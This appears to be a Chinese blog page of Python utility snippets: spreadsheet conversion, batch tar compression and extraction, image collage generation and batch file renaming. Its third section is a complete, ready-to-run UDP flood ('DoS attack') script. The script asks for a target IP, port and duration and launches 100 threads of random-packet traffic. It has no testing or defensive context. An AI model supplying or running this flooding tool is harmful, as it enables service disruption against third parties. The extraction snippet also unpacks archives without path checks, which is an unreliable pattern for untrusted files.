Skip to content
0

文章发布较早,内容可能过时,阅读注意甄别。

Tool note ​

1 xlsx格式文件转换为csv文件 ​

安装包:

openpyxl
numpy

代码:

python
import pandas as pd


def xlsx_to_csv_pd(src_file, dst_file):
    data_xls = pd.read_excel(src_file, index_col=0)
    data_xls.to_csv(dst_file, encoding='utf-8')


if __name__ == '__main__':
    src_file = r"*.xlsx"
    dst_file = r"*.csv"
    xlsx_to_csv_pd(src_file, dst_file)

2 批量压缩和解压缩 ​

2.1 批量压缩 ​

说明:对一个文件夹下的所有子文件夹进行批量压缩,仅支持.tar.gz、.tar.bz2、.tar.xz

python
import pathlib
import tarfile
from pathlib import Path

def compress_folder(folder_path, output_format):
    # 定义支持的格式及其对应的tarfile写模式
    format_modes = {
        'tar.bz2': 'w:bz2',
        'tar.gz': 'w:gz',
        'tar.xz': 'w:xz',
    }

    if output_format not in format_modes:
        raise ValueError(f"Unsupported format: {output_format}")

    folder_name = folder_path.name
    output_path = folder_path.parent / (folder_name + '.' + output_format)

    # 使用定义的模式进行压缩
    with tarfile.open(output_path, format_modes[output_format]) as tar:
        tar.add(folder_path, arcname=folder_name)

def compress_subfolders(base_folder, fmt):
    base_path = pathlib.Path(base_folder)
    for subfolder in base_path.iterdir():
        if subfolder.is_dir():
            compress_folder(subfolder, fmt)
            print(f"{subfolder.name} compressed successfully.")
if __name__ == '__main__':
    # 示例使用
    compress_subfolders(r"/path/of/your/folder", 'tar.gz')

2.2 批量解压缩 ​

说明:对一个文件夹下的所有子文件夹进行解批量压缩,仅支持.tar.gz、.tar.bz2、.tar.xz

python
import pathlib
import tarfile
from pathlib import Path

def decompress_subfolders(base_folder):
    """
    批量解压缩 base_folder 下的所有 .tar.* 文件。
    """
    base_path = Path(base_folder)
    for tar_file in base_path.glob(f'*.tar.*'):
        decompress_file(base_path, tar_file)
        print(f"{tar_file.name} decompressed successfully.")
def decompress_file(base_folder, tar_file):

    # 计算正确的输出目录名称
    # 去除 '.tar.*' 部分获取基础文件名
    output_dir_name = tar_file.name.rsplit('.tar.', 1)[0]
    output_dir = base_folder / output_dir_name
    print(f"Decompressing {tar_file.name} into {output_dir}...")

    # 如果目标文件夹不存在,则创建它
    output_dir.mkdir(parents=True, exist_ok=True)

    # 使用 tarfile 模块解压
    with tarfile.open(tar_file, 'r:*') as tar:
        tar.extractall(path=output_dir)
        # 遍历解压后的内容,如果有一个单独的根目录,则将其内容移动到 output_dir
        root_contents = list(output_dir.iterdir())
        if len(root_contents) == 1 and root_contents[0].is_dir():
            root_subdir = root_contents[0]
            for item in root_subdir.iterdir():
                item.rename(output_dir / item.name)
            root_subdir.rmdir()  # 删除空的根目录

if __name__ == '__main__':
    # 示例使用
    decompress_subfolders(r"/path/of/your/folder")

3 Dos攻击 ​

python
import os
import sys
import time
import socket
import random
import pyfiglet
from colorama import init, Fore, Style
from concurrent.futures import ThreadPoolExecutor

init(autoreset=True)

W = Style.RESET_ALL
R = Fore.RED
G = Fore.GREEN
O = Fore.YELLOW
B = Fore.BLUE
P = Fore.MAGENTA
C = Fore.CYAN
GR = Fore.WHITE
T = Fore.YELLOW

def display_ddos_banner():
    banner = pyfiglet.Figlet(font='small')
    print(R + banner.renderText('DDoS'))
    print(R + banner.renderText('ATTACK'))

def dos_attack(target, port, duration):
    timeout = time.time() + duration if duration != 0 else float('inf')
    sent = 0
    while time.time() < timeout:
        try:
            # 使用UDP协议
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            # 使用随机数据
            bytes = os.urandom(1024)
            # 发送数据包
            s.sendto(bytes, (target, port))
            # 统计发送的数据包
            sent += 1
            print(G + "Attacking: %s" % target)
        except KeyboardInterrupt:
            break
        except socket.error:
            print(R + "Socket error, Sending stopped.")
            break

def dos():
    # 设置DOS攻击的目标IP地址
    target = str(input(O + "Please enter target IP address: "))
    # 设置DOS攻击的端口
    port = int(input(G + "Please enter target port: "))
    # 设置DOS攻击的持续时间,0代表无限时间
    duration = int(input(R + "Please enter duration in seconds (Enter 0 for infinite): "))

    # 默认线程数
    thread_count = 100

    # 使用线程池
    with ThreadPoolExecutor(max_workers=thread_count) as executor:
        for _ in range(thread_count):
            executor.submit(dos_attack, target, port, duration)

display_ddos_banner()
print(R + "WeChat public account: 蓝胖子之家")
print(G + "DDoS attack starting..." + W)
dos()
print(G + "DDoS attack finished..." + W)

4 图片拼接为缩略图 ​

说明:在一个文件夹中有若干张图片,请随机选择n*n张图片进行拼接,并且适当缩短尺寸,得到一个拼接后的缩略图

代码实现:

python

import random
from pathlib import Path
from PIL import Image


def create_collage(image_folder, n, output_path):
    # 获取文件夹中所有图片文件
    image_folder_path = Path(image_folder)
    image_files = [f for f in image_folder_path.glob('*') if
                   f.suffix.lower() in ['.png', '.jpg', '.jpeg', '.bmp', '.gif']]

    # 随机选择n*n张图片
    selected_images = random.sample(image_files, n * n)

    # 计算每张图片的尺寸,并缩放到相同的尺寸
    images = []
    img_width, img_height = 200, 200  # 缩放后的统一尺寸(可以根据需求调整)

    for img_path in selected_images:
        img = Image.open(img_path)
        img = img.resize((img_width, img_height))  # 缩放到固定尺寸
        images.append(img)

    # 拼接后的图像的尺寸
    collage_width = img_width * n
    collage_height = img_height * n

    # 创建空白拼接图像
    collage_image = Image.new('RGB', (collage_width, collage_height))

    # 将图片拼接成n*n的网格
    x_offset = 0
    y_offset = 0
    for i, img in enumerate(images):
        collage_image.paste(img, (x_offset, y_offset))
        x_offset += img_width
        if (i + 1) % n == 0:  # 每行放完后换行
            y_offset += img_height
            x_offset = 0

    # 保存拼接后的图像
    collage_image.save(output_path)
    collage_image.show()

if __name__ == "__main__":
    # 示例用法
    image_folder = r'/path/of/your/pictures'  # 替换为你的图片文件夹路径
    n = 4  # 拼接成4x4的图像
    output_path = r'dstPath'  # 输出拼接后的图像路径
    create_collage(image_folder, n, output_path)

5、图片拼接为缩略图(多文件夹) ​

(1)问题:

给定一个文件夹folder,其下面有很多子文件夹sub_folder1、sub_forder2等等,每个子文件夹下面有图片,请你一次读取每个子文件夹,

根据将每个子文件夹下的图片,随机选取n*n(n是自然数)张图片拼接形成一张缩略图(横向n张,纵向n张),

要求:

1、可以自定义n的大小,n的大小由用户输入。

2、缩略图的大小可以自定义,用户输入。

3、缩略图的名字以子文件夹命名,所有的缩略图存放在一个新的文件夹下,用户自定义输入。

请你新建一个python文件,实现上述功能。

(2)说明

create_thumbnail_grid函数是一个用于生成图片网格缩略图的工具,主要功能包括:

1、扫描指定主文件夹下的所有子文件夹

2、从每个子文件夹中随机选择n×n张图片

3、将每张选中的图片调整到指定的尺寸

4、将调整后的图片按网格布局拼接成一张大图

5、以子文件夹名称命名生成的缩略图,并保存到指定的输出文件夹

(3)代码

python
from pathlib import Path
import random
from PIL import Image

def create_thumbnail_grid(folder_path, n, image_size, output_folder):
    """从给定文件夹的子文件夹中创建图片缩略图网格

    Args:
        folder_path (str or Path): 包含子文件夹的主文件夹路径
        n (int): 网格的行数和列数(n x n)
        image_size (tuple): 每张图片的大小(宽,高)
        output_folder (str or Path): 存储生成的缩略图的文件夹路径
    """
    # 转换路径为Path对象
    folder_path = Path(folder_path)
    output_folder = Path(output_folder)

    # 确保输出文件夹存在
    output_folder.mkdir(parents=True, exist_ok=True)

    # 获取所有子文件夹
    subfolders = [f for f in folder_path.iterdir() if f.is_dir()]

    for subfolder in subfolders:
        # 获取子文件夹中的所有图片文件
        image_files = []
        for ext in ('.jpg', '.jpeg', '.png', '.bmp', '.gif'):
            image_files.extend(list(subfolder.glob(f'*{ext}')) + list(subfolder.glob(f'*{ext.upper()}')))

        # 如果图片数量不足,跳过该文件夹
        if len(image_files) < n * n:
            print(f"警告:{subfolder.name}中的图片数量不足{n*n}张,已跳过")
            continue

        # 随机选择n*n张图片
        selected_images = random.sample(image_files, n * n)

        # 计算最终缩略图的大小
        grid_width = image_size[0] * n
        grid_height = image_size[1] * n

        # 创建新的空白图片
        grid_image = Image.new('RGB', (grid_width, grid_height), 'white')

        # 填充图片网格
        for idx, img_path in enumerate(selected_images):
            try:
                # 打开并调整图片大小
                img = Image.open(img_path)
                img = img.resize(image_size, Image.Resampling.LANCZOS)

                # 计算位置
                row = idx // n
                col = idx % n
                x = col * image_size[0]
                y = row * image_size[1]

                # 粘贴到网格中
                grid_image.paste(img, (x, y))

            except Exception as e:
                print(f"处理图片 {img_path} 时出错:{str(e)}")
                continue

        # 保存缩略图
        output_path = output_folder / f"{subfolder.name}_grid.jpg"
        grid_image.save(output_path, quality=95)
        print(f"已生成缩略图:{output_path}")

if __name__ == "__main__":
    # 获取用户输入

    folder_path = r"D:\goodtools\resources\closure\wxy"
    n = 6
    width = 200
    height = 300
    output_folder = "./output"

    # 创建缩略图
    create_thumbnail_grid(folder_path, n, (width, height), output_folder)

IMPORTANT

(1)参数说明

1、folder_path: 包含子文件夹的主文件夹路径

2、n: 网格的行数和列数(n×n)

3、image_size: 每张图片的大小,格式为(宽度, 高度)

4、output_folder: 存储生成的缩略图的文件夹路径

(2)注意事项

1、每个子文件夹中必须至少有n×n张图片,否则该子文件夹将被跳过

2、支持jpg、jpeg、png、bmp、gif格式的图片

3、所有生成的缩略图均以JPG格式保存,质量为95%

4、生成的缩略图以子文件夹名称加上"_grid.jpg"后缀命名

5、需要安装PIL/Pillow库:pip install Pillow

6、Windows 下批量重命名图片脚本(pathlib 版,函数化) ​

(1)说明

输入一个文件夹路径,批量重命名该文件夹下的所有图片文件,重命名规则如下:

以文件夹名为前缀,后接编号,编号从k开始递增,保留原有的扩展名。例如,文件夹名为images,编号从1开始,则重命名后的文件名为images_001.jpg、images_002.jpg等。

(2)代码实现

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Windows 下批量重命名图片脚本(pathlib 版,函数化)
主函数部分仅保留:
    folder_input = r"..."
    folder = Path(folder_input) if folder_input else Path.cwd()

    start_k = 1

随后调用封装好的函数进行重命名。
"""

from pathlib import Path
import uuid
import re
import sys
from typing import List, Tuple

# 支持的图片格式
IMAGE_EXTS = {'.jpg', '.jpeg', '.png', '.gif', '.bmp', '.tif', '.tiff', '.webp', '.heic'}

# ---------- 辅助函数 ----------
def natural_key(s: str):
    """自然排序 key,例如 'img2' < 'img10'"""
    _nsre = re.compile(r'([0-9]+)')
    return [int(text) if text.isdigit() else text.lower() for text in _nsre.split(s)]

def is_image(file: Path) -> bool:
    """判断是否为图片(基于后缀并且为文件)"""
    return file.suffix.lower() in IMAGE_EXTS and file.is_file()

def collect_images(folder: Path) -> List[Path]:
    """收集文件夹下的图片并按自然顺序排序"""
    imgs = [p for p in folder.iterdir() if is_image(p)]
    imgs.sort(key=lambda x: natural_key(x.name))
    return imgs

def make_target_name(folder_name: str, index: int, total_count: int, ext: str) -> str:
    """根据位数补齐生成目标文件名"""
    width = len(str(total_count))
    return f"{folder_name}_{str(index).zfill(width)}{ext}"

# ---------- 核心函数 ----------
def rename_images(folder: Path, start_k: int = 1) -> None:
    """
    将 folder 下的图片批量重命名:
      - 以 folder.name 为前缀
      - 编号从 start_k 开始,递增
      - 保留扩展名
      - 两步重命名(临时名 -> 目标名)以避免冲突
    """
    if not folder.is_dir():
        print(f"错误:{folder} 不是一个有效的目录。")
        return

    folder_name = folder.name
    images = collect_images(folder)
    n = len(images)
    if n == 0:
        print("未找到图片文件(受支持扩展名:{})。".format(", ".join(sorted(IMAGE_EXTS))))
        return

    print(f"\n目录: {folder}")
    print(f"文件夹名(前缀): {folder_name}")
    print(f"找到 {n} 个图片文件,将从编号 {start_k} 开始重命名...\n")

    # 第一步:改为临时名(防止命名冲突)
    tmp_files: List[Tuple[Path, str]] = []
    for img in images:
        tmp_name = f"__tmp__{uuid.uuid4().hex}{img.suffix}"
        tmp_path = folder / tmp_name
        img.rename(tmp_path)
        tmp_files.append((tmp_path, img.name))
        print(f"  临时: {img.name} -> {tmp_name}")

    # 第二步:改为目标名(从 start_k 开始递增)
    # total_count 用于计算编号补零宽度,等于 最后编号 = n + start_k - 1
    total_count = n + start_k - 1
    for i, (tmp_path, orig_name) in enumerate(tmp_files, start=start_k):
        target_name = make_target_name(folder_name, i, total_count, tmp_path.suffix)
        target_path = folder / target_name
        if target_path.exists():
            # 避免重名冲突,添加 __collision__+uuid
            target_path = folder / f"{target_path.stem}__collision__{uuid.uuid4().hex}{tmp_path.suffix}"
            print(f"    注意:目标名已存在,改为 {target_path.name}")
        tmp_path.rename(target_path)
        print(f"  目标: {orig_name} -> {target_path.name}")

    print("\n重命名完成 ✅")

# ---------- 仅在脚本直接运行时执行以下代码 ----------
if __name__ == "__main__":
    # 用户输入路径
    folder_input = r"/path/to/your/folder"  # 替换为你的文件夹路径
    folder = Path(folder_input) if folder_input else Path.cwd()

    # 输入起始编号 k
    start_k = 1

    # 调用封装好的函数开始重命名
    rename_images(folder, start_k)
最近更新